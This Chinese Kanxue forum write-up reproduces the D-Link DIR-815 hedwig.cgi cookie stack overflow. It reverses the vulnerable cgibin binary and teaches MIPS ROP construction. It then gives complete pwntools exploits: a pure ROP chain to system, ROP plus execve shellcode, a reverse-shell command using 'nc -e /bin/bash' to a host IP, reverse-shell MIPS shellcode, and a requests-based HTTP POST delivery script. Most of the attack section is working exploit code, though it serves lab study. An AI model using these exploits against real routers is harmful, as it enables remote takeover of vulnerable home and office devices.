从零开始复现 DIR-815 栈溢出漏洞

语言: CN / TW / HK

本文为看雪论坛精华文章
看雪论坛作者ID:winmt

前言

官方的漏洞报告: https://www.cnvd.org.cn/flaw/show/CNVD-2013-11625

官方的漏洞报告中只提及了DIR-645型号的hedwig.cgi中会存在缓冲区溢出的漏洞,其实D-Link的DIR-815/300/600/645等型号都存在这个漏洞,在本篇漏洞复现报告中,笔者仅以DIR-815为例进行分析。

笔者用于复现的物理机为Ubuntu-20.04,请先安装qemu / binwalk / sasquatch / gdb-multiarch等工具,并对MIPS架构下的汇编语法进行一定的了解。

固件包下载地址(挂个梯子):DIR-815A1_FW101SSB03.bin( https://pmdap.dlink.com.tw/PMD/GetAgileFile?itemNumber=FIR1000487&fileName=DIR-815A1_FW101SSB03.bin&fileSize=3784844.0;

逆向分析二进制文件

将固件包通过binwalk解压后,先找到官方漏洞报告中所说的hedwig.cgi文件,其路径为/htdocs/web/hedwig.cgi,通过ls -l命令看一下:

可以看见,/htdocs/web/hedwig.cgi是/htdocs/cgibin的软链接,因此,我们需要逆向分析的二进制文件是/htdocs/cgibin。

先进入到main函数中:

再走到hedwigcgi_main函数:

首先,会先取环境变量REQUEST_METHOD,按照这里的判断,必须得是 POST请求 才行。

接着,会走到cgibin_parse_request函数:

这个函数已经不陌生了,会对url先进行解析,然后将POST的内容读入进来,再通过sub_409A6C函数进行解析。

在cgibin_parse_request函数内:

这里会获取圈出的几个环境变量,不过和后面的栈溢出漏洞关系都不大,但是不能没有,需要随便输入一点东西,具体原因之后会分析。

接着,就会走到sess_get_uid函数:

里面有对环境变量HTTP_COOKIE的获取:

对HTTP_COOKIE中=的前后进行了分离:

可以看见,=前面的内容被存入了v2,后面的内容被存入了v4,最后会对v2中的内容进行一个判断:

也就是判断等号前的内容是否为uid,判断通过了以后,就会将等号后面的字符串拼接入a1,也就是主函数传进来的参数v4。

再然后,就到了一个可能发生栈溢出的漏洞点:

这里的string就是v4中的字符串,也就是cookie中uid=之后的内容,是可以由用户自由控制的,然而v27数组的大小仅有1024,因此,很容易造成缓冲区溢出。

我们发现,在之后还有一个类似的sprintf:

这里的string仍然是v4,进一步观察,发现v4在两个sprintf之间未被改变过,也就是说,这里的string仍然是cookie中uid=后面的字符串,如果能走到这第二个sprintf的话,那么这里才是真正的溢出漏洞点,因为仍然是v27数组的溢出,两次拼接的字符串又一样,所以这里能覆盖上一次sprintf的内容。

容易看出,如果能走到第二个sprintf的话,就需要过这两个判断:

这第一个判断需要有/var/tmp这个目录,这个在真机上是有的,因此为了更真实地模拟环境,我们需要在解压后得到的文件系统内创建一个/var/tmp文件夹,这样cgibin才能在此路径下创建temp.xml文件用于数据的写入。

第二个判断haystack的值在这之前只有cgibin_parse_request的第一个参数sub_409A6C中可对其操作:

这个sub_409A6C函数需要POST传入内容的时候才能走到,那么要使得POST传入内容,也就要走到cgibin_parse_request中的这里:

这里跳转到的sub_403B10函数后,才有对POST内容的读入,并调用到sub_409A6C:

上图是进入sub_403B10函数后,最终走到的sub_402B40函数,其中这里的v9函数指针就是指向的sub_409A6C函数。

再回到cgibin_parse_request函数中,要走到读入POST内容的那里,就必须要使得v9!=-1才行,再往cgibin_parse_request函数上面看看:

因此,环境变量REQUEST_URI中也必须有内容才行,这里环境变量CONTENT_TYPE仍然是老规矩application/x-www-form-urlencoded,不再多分析了。

满足了以上条件,就能顺利地走到第二个sprintf了,也就是真机环境中真正的栈溢出漏洞点。

MIPS栈溢出的ROP链构造

MIPS架构下的栈溢出肯定也是需要通过构造ROP链来getshell的,不过由于MIPS有个特性,即无法开NX保护,这样就有了两种构造ROP链的方式:第一种就是纯ROP链,通过调用system函数来getshell;第二种就是通过构造ROP链,跳转至读入到栈/bss段等处的shellcode执行。在实际应用中,最常用的还是通过ROP + shellcode的方式来getshell。

mipsrop

寻找IDA的gadget最好还是用IDA的插件mipsrop,里面的stackfinder()/tail()/system()等选项很便于寻找一些gadget,也可以使用如mipsrop.find("li .*, 1")的形式,通过.*进行模糊匹配:

附上IDA-7.5以上版本的mipsrop插件下载地址: mipsrop.zip ,解压到IDA的plugins目录下即可。

关于MIPS架构的寄存器及指令集请自行查阅资料,这里就不多作介绍了。

下面主要来介绍一些常见的MIPS架构的特性(32位mipsel)。

叶子函数与非叶子函数

叶子函数指的是没有调用任何子函数的函数,其返回地址会存放在$ra寄存器中,在该函数结束时,直接就通过$ra寄存器跳转返回。

非叶子函数自然就是指其中调用了其他子函数的函数,其返回地址$ra会在程序开始(prologue)通过sw指令存放在栈上,因为其中调用了其他子函数,肯定会需要改变$ra寄存器的值,来作为其他子函数的返回地址,所以最先的数据需要保存下来,然后在该函数结束(epilogue)时,再对应地通过lw指令取出,并跳转返回。

同样的道理,如果在某个函数中使用到了 $s0 ~ $s7中的某些保存寄存器(包括$fp) ,则也会在prologue处保存下来,并在epilogue处取出。

需要注意的是,$s0 ~ $s7, $fp, $sp在栈中存放的地址依次递增,因此,很容易想到,我们可以在栈溢出的同时,顺带着控制到$s0 ~ $s7的值。

MIPS的这个特性是一个在栈溢出中很好利用的点,若是二进制文件中没有或没有完整的prologue/epilogue段,在libc的scandir/scandir64中可以找到完整的汇编段,来控制这所有的寄存器:

最后,都会通过addiu $sp, ...的命令,将栈抬高到$ra后面的位置。

流水线指令集相关特性

MIPS架构存在“流水线效应”,简单来说,就是本应该顺序执行的几条命令却同时执行了,其还存在缓存不一致性(cache incoherency)的问题。

首先举例说说 “流水线效应” ,最常见的就是跳转指令(如jalr)导致的分支延迟效应,任何一个分支跳转语句后面的那条语句叫做分支延迟槽,当它跳转指令填充好跳转地址,还没来得及跳转过去的时候,跳转指令的下一条指令(分支延迟槽)就已经执行了,可以认为是它会先执行跳转指令的后一条指令,然后再跳转。

再来说说 “缓存不一致性” 的问题,指的是:指令缓存区(Instruction Cache)和数据缓存区(Data Cache)两者的同步需要一个时间来同步,常见的就是,比如我们将shellcode写入栈上,此时这块区域还属于数据缓存区,如果我们此时像x86_64架构一样,直接跳转过去执行,就会出现问题,因此,我们需要调用sleep函数,先停顿一段时间,给它时间从数据缓存区转成指令缓存区,然后再跳转过去,才能成功执行。当然,有时候可能直接跳转过去也不会出错,这原因就比较多了,可能是由于两个缓冲区已经有足够时间同步,也有可能是和硬件层面有关的一些原因所导致的,但是保险来说,还是最好sleep一下。

接着,笔者再介绍一些构造ROP链的常用技巧:

跳转到某个函数的ROP链构造技巧

我们先来观察MIPS架构下某一个函数的开头部分,比如system函数最开始的这两行:

li      $gp, (_GLOBAL_OFFSET_TABLE_+0x7FF0 - .)  # Alternative name is '__libc_system'
addu $gp, $t9
...
`

这里全局寄存器$gp从取了个偏移值(这个偏移值是相对于该函数地址的)之后,又与$t9寄存器相加,此时的 $t9寄存器要求是该函数的首地址 才行,也就是说,我们跳转到某个函数的时候,一定要通过jalr $t9类似的gadget进行跳转才行。

再来观察这个函数(system函数)的最后两行:

...
jr $ra
addiu $sp, 0x48

我们发现,最后的返回的时候,得是通过$ra寄存器中的地址跳转的,也就是说,我们在跳转到这个函数之前,就也得控制好$ra寄存器中的地址为我们跳转后执行完该函数,再下一个跳转到的地方。很方便的是,我们发现move $t9, ...这样的gadget之后,通常会有lw $ra, ...这样的gadget,最后再jr $t9,这类gadget可以通过mipsrop.tail()来进行查找:

通过这类gadget,就可以比较完美地实现跳转到某个函数的ROP链的构造。

跳转到shellcode的ROP链构造技巧

在MIPS架构中,我们通常都是在栈溢出的同时将shellcode读到栈上,然后再跳转过去执行,但是我们得知道shellcode在栈上的地址才行,这里可以用如addiu $s0, $sp, ...的gadget来得到栈上shellcode的地址,然后再找到一个move $t9, $s0 ; jalr $t9的gadget跳转过去。

可以用mipsrop.stackfinder()找到类似于addiu $..., $sp, ...的gadget:

构造system(cmd)的常用gadget

如果这里我们想注入任意的cmd命令(比如反弹shell的命令),最简单的就是在栈溢出的同时将其写入栈上,那在我们调用system命令的时候,其第一个参数$a0就要是我们cmd命令的地址。

我们想要一个addiu $a0, $sp, ...的gadget,但是这样的gadget一般来说没有能满足我们要求的,之后的跳转大多都不太方便。

于是,我们想到可以通过如addiu $s0, $sp, ...和move $a0, $s0的组合命令实现,而一些原本要跳到mempcpy函数的地方,由于mempcpy函数的特性,恰好会同时包含上面两个gadget,也就不需要分两次跳转了,一段gadget就能搞定,例如:

这里由于上面所说的流水线指令集的特性,在跳转到t9之前,其第一个参数$a0就已经被赋为$s2了。

在qemu用户模式下复现

首先,我们要尽可能模拟真机环境,所以需要在var下再创建一个tmp文件夹,这个在之前漏洞分析的时候已经说过了。

这里的ROP链用上面所说的技巧构造就足够了,这里也就不一步步分析怎么找出ROP链来的了。

此外,需要注意的是,这个路由设备的真机就是没有开地址随机化的,我们用qemu用户模式模拟的时候,本身就是不带地址随机化的,因此需要先gdb连上找一下libc_base,当然,至于栈溢出多少,直接看可能不好看出来,可以用cyclic测一下。

准备工作

首先,cyclic 2000 > payload,将生成的2000个字符存放到payload文件中,再用以下shell脚本:

#!/bin/bash


INPUT="winmt=pwner"
LEN=$(echo -n "$INPUT" | wc -c)
cookie="uid=`cat payload`"

echo $INPUT | qemu-mipsel -L ./ -0 "hedwig.cgi" -E REQUEST_METHOD="POST" -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E HTTP_COOKIE=$cookie -E REQUEST_URI="2333" -g 1234 ./htdocs/cgibin

这里的cat payload,可以将payload文件中的内容读到uid=之后,然后echo $INPUT |可以做到POST的效果,-0就是argv[0],-E就是设置的环境变量,-g是连上端口,这些我之前的文章中写过,就不多说了。

用multiarch-gdb连上1234端口后,先来确定libc_base,由于qemu用户模式连上pwndbg时,vmmap是无法看到libc_base的,所以只能通过找一个libc函数地址减去偏移来得到libc_base,这里有个小技巧,根据“延迟绑定”的特性,当一个函数在第二次及以后被调用的时候,就会直接跳转到其相应的libc地址,所以断点下在该函数再被调用时jr $t9跳转的位置会比较好:

然后就是找栈溢出的偏移了,我们跳转到hedwigcgi_main函数最后的jr $ra的位置,可以看到此时的跳转地址,再用cyclic -l查找一下,就得到偏移量了:

纯ROP链

这里是system地址末两位是\x00,而sprintf会被\x00截断,因此这里采用的方法是:读进去system_addr - 1,再找到addiu ..., 1的gadget对其操作后再跳转过去。

from pwn import *
context(os = 'linux', arch = 'mips', log_level = 'debug')

libc_base = 0x7F738000

payload = b'a'*0x3cd
payload += p32(libc_base + 0x53200 - 1) # s0 system_addr - 1
payload += p32(libc_base + 0x159F4) # s1 move $t9, $s0 (=> jalr $t9)
payload += b'a'*4
payload += p32(libc_base + 0x6DFD0) # s3 /bin/sh
payload += b'a'*(4*2)
payload += p32(libc_base + 0x32A98) # s6 addiu $s0, 1 (=> jalr $s1)
payload += b'a'*(4*2)
payload += p32(libc_base + 0x13F8C) # ra move $a0, $s3 (=> jalr $s6)

payload = b"uid=" + payload
post_content = "winmt=pwner"
io = process(b"""
qemu-mipsel -L ./ \
-0 "hedwig.cgi" \
-E REQUEST_METHOD="POST" \
-E CONTENT_LENGTH=11 \
-E CONTENT_TYPE="application/x-www-form-urlencoded" \
-E HTTP_COOKIE=\"""" + payload + b"""\" \
-E REQUEST_URI="2333" \
./htdocs/cgibin
""", shell = True)
io.send(post_content)
io.interactive()

这个脚本的ROP链构造没什么问题,但是在用户模式下是打不通的,原因是这里的system函数中有调用fork()函数,而用户模式是不支持多线程的,这里fork()的失败,会导致后面$fp是个空指针,就会出错,之后在系统模式打就不会出问题了。

在system函数中:

最后,会卡在这里:

ROP + shellcode

这里需要注意让shellcode中不能存在\x00等坏字符,导致sprintf被截断。

这个脚本肯定是可以成功打通的。

from pwn import *
context(os = 'linux', arch = 'mips', log_level = 'debug')

libc_base = 0x7F738000

payload = b'a'*0x3cd
payload += b'a'*4
payload += p32(libc_base + 0x436D0) # s1 move $t9, $s3 (=> lw... => jalr $t9)
payload += b'a'*4
payload += p32(libc_base + 0x56BD0) # s3 sleep
payload += b'a'*(4*5)
payload += p32(libc_base + 0x57E50) # ra li $a0, 1 (=> jalr $s1)

payload += b'a'*0x18
payload += b'a'*(4*4)
payload += p32(libc_base + 0x37E6C) # s4 move $t9, $a1 (=> jalr $t9)
payload += p32(libc_base + 0x3B974) # ra addiu $a1, $sp, 0x18 (=> jalr $s4)

shellcode = asm('''
slti $a2, $zero, -1
li $t7, 0x69622f2f
sw $t7, -12($sp)
li $t6, 0x68732f6e
sw $t6, -8($sp)
sw $zero, -4($sp)
la $a0, -12($sp)
slti $a1, $zero, -1
li $v0, 4011
syscall 0x40404
''')
payload += b'a'*0x18
payload += shellcode

payload = b"uid=" + payload
post_content = "winmt=pwner"
io = process(b"""
qemu-mipsel -L ./ \
-0 "hedwig.cgi" \
-E REQUEST_METHOD="POST" \
-E CONTENT_LENGTH=11 \
-E CONTENT_TYPE="application/x-www-form-urlencoded" \
-E HTTP_COOKIE=\"""" + payload + b"""\" \
-E REQUEST_URI="2333" \
./htdocs/cgibin
""", shell = True)
io.send(post_content)
io.interactive()

在qemu系统模式下复现

用firmadyne模拟环境和用qemu的系统模式模拟差不多,这里就只说说用qemu的系统模式模拟环境了。

用qemu的系统模式模拟的环境比起用qemu的用户模式模拟的环境要更加真实。

配置网络环境

安装网络配置工具:apt-get install bridge-utils uml-utilities

1. 修改ubuntu网络配置文件/etc/network/interfaces

修改/etc/network/interfaces文件为:

auto lo
iface lo inet loopback

auto eth0
iface eth0 inet dhcp
up ifconfig eth0 0.0.0.0 up

auto br0
iface br0 inet dhcp

bridge_ports eth0
bridge_maxwait 0

这里的话,我上面写的是eth0,但是每个人的情况会不一样,建议先用ip addr命令看看有没有eth0这个接口,有些可能是ens33,那就把上面的eth0全部换成ens33,或者将/etc/default/grub文件中GRUB_CMDLINE_LINUX=""的双引号中加上net.ifnames=0 biosdevname=0,然后再sudo grub-mkconfig -o /boot/grub/grub.cfg,重启系统后,就应该变为eth0了。

在修改完/etc/network/interfaces之后,需要用sudo /etc/init.d/networking restart命令重启一下网络配置。

2. 编辑qemu的网络接口启动脚本/etc/qemu-ifup

之后会讲到qemu的安装,若是还没安装qemu,请等qemu安装完成后再配置此项。

在/etc/qemu-ifup文件中写入:

#!/bin/sh
echo "Executing /etc/qemu-ifup"
echo "Bringing up $1 for bridge mode..."
sudo /sbin/ifconfig $1 0.0.0.0 promisc up
echo "Adding $1 to br0..."
sudo /sbin/brctl addif br0 $1
sleep 2

若是本身就没有这个文件的话,就先创建后写入,再用sudo chmod a+x /etc/qemu-ifup命令赋予权限。

3. 创建包含qemu使用的所有桥的名称的配置文件/etc/qemu/bridge.conf

在/etc/qemu/bridge.conf中写入allow br0即可。

注:在网络环境按上述配置完成后,建议重启下Ubuntu虚拟机。

配置qemu虚拟机并连接

我们用的是x86_64架构,所以需要qemu来模拟mipsel环境,qemu的安装命令如下:

sudo apt-get install qemu
sudo apt-get install qemu-user-static
sudo apt-get install qemu-system

由于该固件是32位小端序的mips架构,因此,我们也要下载相对应的内核及镜像文件。

下载地址: https://people.debian.org/~aurel32/qemu/mipsel/

.

下载其中的vmlinux-3.2.0-4-4kc-malta内核以及debian_squeeze_mipsel_standard.qcow2镜像文件。

启动脚本(放在刚刚下载的两个文件的同一目录下):

#!/bin/bash
sudo qemu-system-mipsel \
-M malta -kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_squeeze_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" \
-net nic,macaddr=00:16:3e:00:00:01 \
-net tap

命名为start.sh,用chmod +x start.sh赋予可执行权限,再用./start.sh即可启动qemu了。

qemu的初始账号密码为root/root。

进入qemu后,先用ip addr命令(或者ifconfig命令)看一下网卡,不出意外的话,第一个应该是eth1。

然后在qemu中,用nano /etc/network/interfaces命令修改其中内容为:

allow-hotplug eth1
iface eth1 inet dhcp

也就是将原先的eth0改为你的第一个网卡名称,我这里就是eth1。

然后再用ifup eth1命令启用eth1接口或者干脆重启qemu之后,再ip addr,就可以看到:

2: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 1000
link/ether 00:16:3e:00:00:01 brd ff:ff:ff:ff:ff:ff
inet 192.168.192.133/24 brd 192.168.192.255 scope global eth1
inet6 fe80::216:3eff:fe00:1/64 scope link
valid_lft forever preferred_lft forever

其中,192.168.192.133就是我这里qemu的ip了,用同样的方法,在host主机(Ubuntu系统)上执行ip addr命令,也可以拿到主机的ip。

接着,我们需要将固件提取出来的文件系统拷贝到qemu的镜像文件的root目录下,进入固件解压出的文件夹后,执行scp -r ./squashfs-root [email protected]:/root/命令即可。

由于在qemu中不太好操作,建议用ssh命令在host主机上连接到qemu虚拟机:ssh [email protected],这样就能在host主机的终端上操作qemu虚拟机了。

准备工作 及 开启httpd服务

在qemu虚拟机的squashfs-root目录下新建一个http_conf配置文件,里面写入(需要改一下自己设置的网卡,IP,端口):

Umask 026
PIDFile /var/run/httpd.pid
LogGMT On #开启log
ErrorLog /log #log文件

Tuning
{
NumConnections 15
BufSize 12288
InputBufSize 4096
ScriptBufSize 4096
NumHeaders 100
Timeout 60
ScriptTimeout 60
}

Control
{
Types
{
text/html { html htm }
text/xml { xml }
text/plain { txt }
image/gif { gif }
image/jpeg { jpg }
text/css { css }
application/octet-stream { * }
}
Specials
{
Dump { /dump }
CGI { cgi }
Imagemap { map }
Redirect { url }
}
External
{
/usr/sbin/phpcgi { php }
}
}


Server
{
ServerName "Linux, HTTP/1.1, "
ServerId "1234"
Family inet
Interface eth1 #对应qemu仿真路由器系统的网卡
Address 192.168.192.133 #qemu仿真路由器系统的IP
Port "1234" #对应未被使用的端口
Virtual
{
AnyHost
Control
{
Alias /
Location /htdocs/web
IndexNames { index.php }
External
{
/usr/sbin/phpcgi { router_info.xml }
/usr/sbin/phpcgi { post_login.xml }
}
}
Control
{
Alias /HNAP1
Location /htdocs/HNAP1
External
{
/usr/sbin/hnap { hnap }
}
IndexNames { index.hnap }
}
}
}

然后需要开启下物理机转发功能(不然之后在init.sh脚本中启动httpd服务时可能会出问题),在Ubuntu 20.04物理机上运行以下脚本即可:

#! /bin/sh
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -F
sudo iptables -X
sudo iptables -t nat -F
sudo iptables -t nat -X
sudo iptables -t mangle -F
sudo iptables -t mangle -X
sudo iptables -P INPUT ACCEPT
sudo iptables -P FORWARD ACCEPT
sudo iptables -P OUTPUT ACCEPT
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT
sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT

之后,再在qemu虚拟机的squashfs-root目录下创建init.sh的脚本进行初始化操作:

#!/bin/bash
echo 0 > /proc/sys/kernel/randomize_va_space
cp http_conf /
cp sbin/httpd /
cp -rf htdocs/ /
mkdir /etc_bak
cp -r /etc /etc_bak
rm /etc/services
cp -rf etc/ /
cp lib/ld-uClibc-0.9.30.1.so /lib/
cp lib/libcrypt-0.9.30.1.so /lib/
cp lib/libc.so.0 /lib/
cp lib/libgcc_s.so.1 /lib/
cp lib/ld-uClibc.so.0 /lib/
cp lib/libcrypt.so.0 /lib/
cp lib/libgcc_s.so /lib/
cp lib/libuClibc-0.9.30.1.so /lib/
cd /
rm -rf /htdocs/web/hedwig.cgi
rm -rf /usr/sbin/phpcgi
rm -rf /usr/sbin/hnap
ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi
ln -s /htdocs/cgibin /usr/sbin/phpcgi
ln -s /htdocs/cgibin /usr/sbin/hnap
./httpd -f http_conf

稍微解释一下,由于真机就是没开ASLR的,所以这里我们也用echo 0 > /proc/sys/kernel/randomize_va_space关闭地址随机化,这里需要建立一个/etc_bak,对原先的/etc文件夹进行一个备份,在退出qemu虚拟机的时候,再用fin.sh还原,因为之后的操作会改变/etc文件夹中的内容,导致下一次启动qemu虚拟机会出问题。

这里init.sh脚本主要就是将一些要用的文件从我们解压出来的文件系统拷贝到下载的镜像文件的文件系统中,可能大家会有疑问,直接chroot改一下根目录不就行了,其实的确也可以,但是由于后面的httpd命令,需要挂载一下dev和proc目录,而且由于固件包解压出来的文件系统的bin文件夹中没有nc,之后反弹shell也会出问题,此外,还牵涉到其他一些问题,比如没有PID文件等等,所以用chroot改根目录也是比较复杂的,还不如直接这样复制到根目录下。

最后的./httpd -f http_conf命令就是根据我们的http_conf配置文件启动了httpd服务。

我们运行init.sh脚本,然后测试一下,成功启动了httpd服务:

最后,退出qemu虚拟机的时候,记得运行fin.sh的脚本恢复/etc文件夹:

#!/bin/bash
rm -rf /etc
mv /etc_bak/etc /etc
rm -rf /etc_bak

下面是两种在系统模式下打exp的方式:

方法一:将生成的payload传给qemu机

这种方式其实是不需要用httpd -f http_conf启动httpd服务的,就是在Ubuntu物理机中将payload传给qemu虚拟机,然后在qemu中打payload并反弹shell给物理机。

首先,我们还是得确定libc_base,这里要用到gdbserver( 项目地址 ),下载对应的gdbserver.mipsel即可,然后将其传到qemu中,在qemu中用以下run.sh脚本启动:

#!/bin/bash
export CONTENT_LENGTH="11"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE="uid=`cat payload`"
export REQUEST_METHOD="POST"
export REQUEST_URI="2333"
echo "winmt=pwner"|./gdbserver.mipsel 192.168.192.131:6666 /htdocs/web/hedwig.cgi
#echo "winmt=pwner"|/htdocs/web/hedwig.cgi
unset CONTENT_LENGTH
unset CONTENT_TYPE
unset HTTP_COOKIE
unset REQUEST_METHOD
unset REQUEST_URI

这里的192.168.192.131是物理机的IP,6666是自己设置的连接的端口,直接用gdb-multiarch设置好架构后,用target remote 192.168.192.133:6666连上即可,然后直接vmmap就能拿到libc_base,至于栈溢出的偏移,仍然用cyclic测一下就行,不再多说了。

1. 纯ROP链

from pwn import *
context(os = 'linux', arch = 'mips', log_level = 'debug')

cmd = b'nc -e /bin/bash 192.168.192.131 8888'

libc_base = 0x77f34000

payload = b'a'*0x3cd
payload += p32(libc_base + 0x53200 - 1) # s0 system_addr - 1
payload += p32(libc_base + 0x169C4) # s1 addiu $s2, $sp, 0x18 (=> jalr $s0)
payload += b'a'*(4*7)
payload += p32(libc_base + 0x32A98) # ra addiu $s0, 1 (=> jalr $s1)
payload += b'a'*0x18
payload += cmd

fd = open("payload", "wb")
fd.write(payload)
fd.close()

2. ROP + shellcode

from pwn import *
context(os = 'linux', arch = 'mips', log_level = 'debug')

libc_base = 0x77f34000

payload = b'a'*0x3cd
payload += b'a'*4
payload += p32(libc_base + 0x436D0) # s1 move $t9, $s3 (=> lw... => jalr $t9)
payload += b'a'*4
payload += p32(libc_base + 0x56BD0) # s3 sleep
payload += b'a'*(4*5)
payload += p32(libc_base + 0x57E50) # ra li $a0, 1 (=> jalr $s1)

payload += b'a'*0x18
payload += b'a'*(4*4)
payload += p32(libc_base + 0x37E6C) # s4 move $t9, $a1 (=> jalr $t9)
payload += p32(libc_base + 0x3B974) # ra addiu $a1, $sp, 0x18 (=> jalr $s4)

shellcode = asm('''
slti $a0, $zero, 0xFFFF
li $v0, 4006
syscall 0x42424

slti $a0, $zero, 0x1111
li $v0, 4006
syscall 0x42424

li $t4, 0xFFFFFFFD
not $a0, $t4
li $v0, 4006
syscall 0x42424

li $t4, 0xFFFFFFFD
not $a0, $t4
not $a1, $t4
slti $a2, $zero, 0xFFFF
li $v0, 4183
syscall 0x42424

andi $a0, $v0, 0xFFFF
li $v0, 4041
syscall 0x42424
li $v0, 4041
syscall 0x42424

lui $a1, 0xB821 # Port: 8888
ori $a1, 0xFF01
addi $a1, $a1, 0x0101
sw $a1, -8($sp)

li $a1, 0x83C0A8C0 # IP: 192.168.192.131
sw $a1, -4($sp)
addi $a1, $sp, -8

li $t4, 0xFFFFFFEF
not $a2, $t4
li $v0, 4170
syscall 0x42424

lui $t0, 0x6962
ori $t0, $t0,0x2f2f
sw $t0, -20($sp)

lui $t0, 0x6873
ori $t0, 0x2f6e
sw $t0, -16($sp)

slti $a3, $zero, 0xFFFF
sw $a3, -12($sp)
sw $a3, -4($sp)

addi $a0, $sp, -20
addi $t0, $sp, -20
sw $t0, -8($sp)
addi $a1, $sp, -8

addiu $sp, $sp, -20

slti $a2, $zero, 0xFFFF
li $v0, 4011
syscall 0x42424
''')
payload += b'a'*0x18
payload += shellcode

fd = open("payload", "wb")
fd.write(payload)
fd.close()

用scp -r ./payload [email protected]:/root/squashfs-root将payload文件传给qemu虚拟机后,在run.sh中直接用echo "winmt=pwner"|/htdocs/web/hedwig.cgi打就行了,上面两个脚本都能成功打通:

需要注意的是,得先执行nc -lvnp 8888开启监听,再打payload。

方法二:直接发送http报文

我们之前开启httpd服务,就是为了这种打exp的方式,直接发送数据包给之前http_conf配置文件中设置的192.168.192.133:1234即可。

1. 纯ROP链

from pwn import *
import requests
context(os = 'linux', arch = 'mips', log_level = 'debug')

cmd = b'nc -e /bin/bash 192.168.192.131 8888'

libc_base = 0x77f34000

payload = b'a'*0x3cd
payload += p32(libc_base + 0x53200 - 1) # s0 system_addr - 1
payload += p32(libc_base + 0x169C4) # s1 addiu $s2, $sp, 0x18 (=> jalr $s0)
payload += b'a'*(4*7)
payload += p32(libc_base + 0x32A98) # ra addiu $s0, 1 (=> jalr $s1)
payload += b'a'*0x18
payload += cmd

url = "http://192.168.192.133:1234/hedwig.cgi"
data = {"winmt" : "pwner"}
headers = {
"Cookie" : b"uid=" + payload,
"Content-Type" : "application/x-www-form-urlencoded",
"Content-Length": "11"
}
res = requests.post(url = url, headers = headers, data = data)
print(res)

2. ROP + shellcode

from pwn import *
import requests
context(os = 'linux', arch = 'mips', log_level = 'debug')

libc_base = 0x77f34000

payload = b'a'*0x3cd
payload += b'a'*4
payload += p32(libc_base + 0x436D0) # s1 move $t9, $s3 (=> lw... => jalr $t9)
payload += b'a'*4
payload += p32(libc_base + 0x56BD0) # s3 sleep
payload += b'a'*(4*5)
payload += p32(libc_base + 0x57E50) # ra li $a0, 1 (=> jalr $s1)

payload += b'a'*0x18
payload += b'a'*(4*4)
payload += p32(libc_base + 0x37E6C) # s4 move $t9, $a1 (=> jalr $t9)
payload += p32(libc_base + 0x3B974) # ra addiu $a1, $sp, 0x18 (=> jalr $s4)

shellcode = asm('''
slti $a0, $zero, 0xFFFF
li $v0, 4006
syscall 0x42424

slti $a0, $zero, 0x1111
li $v0, 4006
syscall 0x42424

li $t4, 0xFFFFFFFD
not $a0, $t4
li $v0, 4006
syscall 0x42424

li $t4, 0xFFFFFFFD
not $a0, $t4
not $a1, $t4
slti $a2, $zero, 0xFFFF
li $v0, 4183
syscall 0x42424

andi $a0, $v0, 0xFFFF
li $v0, 4041
syscall 0x42424
li $v0, 4041
syscall 0x42424

lui $a1, 0xB821 # Port: 8888
ori $a1, 0xFF01
addi $a1, $a1, 0x0101
sw $a1, -8($sp)

li $a1, 0x83C0A8C0 # IP: 192.168.192.131
sw $a1, -4($sp)
addi $a1, $sp, -8

li $t4, 0xFFFFFFEF
not $a2, $t4
li $v0, 4170
syscall 0x42424

lui $t0, 0x6962
ori $t0, $t0,0x2f2f
sw $t0, -20($sp)

lui $t0, 0x6873
ori $t0, 0x2f6e
sw $t0, -16($sp)

slti $a3, $zero, 0xFFFF
sw $a3, -12($sp)
sw $a3, -4($sp)

addi $a0, $sp, -20
addi $t0, $sp, -20
sw $t0, -8($sp)
addi $a1, $sp, -8

addiu $sp, $sp, -20

slti $a2, $zero, 0xFFFF
li $v0, 4011
syscall 0x42424
''')
payload += b'a'*0x18
payload += shellcode

url = "http://192.168.192.133:1234/hedwig.cgi"
data = {"winmt" : "pwner"}
headers = {
"Cookie" : b"uid=" + payload,
"Content-Type" : "application/x-www-form-urlencoded",
"Content-Length": "11"
}
res = requests.post(url = url, headers = headers, data = data)
print(res)

上面两个脚本也都是能够成功打通的:

看雪ID:winmt

https://bbs.pediy.com/user-home-949925.htm

*本文由看雪论坛 winmt 原创,转载请注明来自看雪社区

#

往期推荐

1. Typora解密之跳动的二进制

2. 海莲花glitch样本去混淆

3. 反射式DLL注入实现

4. angr符号变量转LLVM IR

5. 记录一次对某CMS漏洞挖掘

6. Android APP漏洞之战—验证码漏洞挖掘详解

球分享

球点赞

球在看

点击“阅读原文”,了解更多!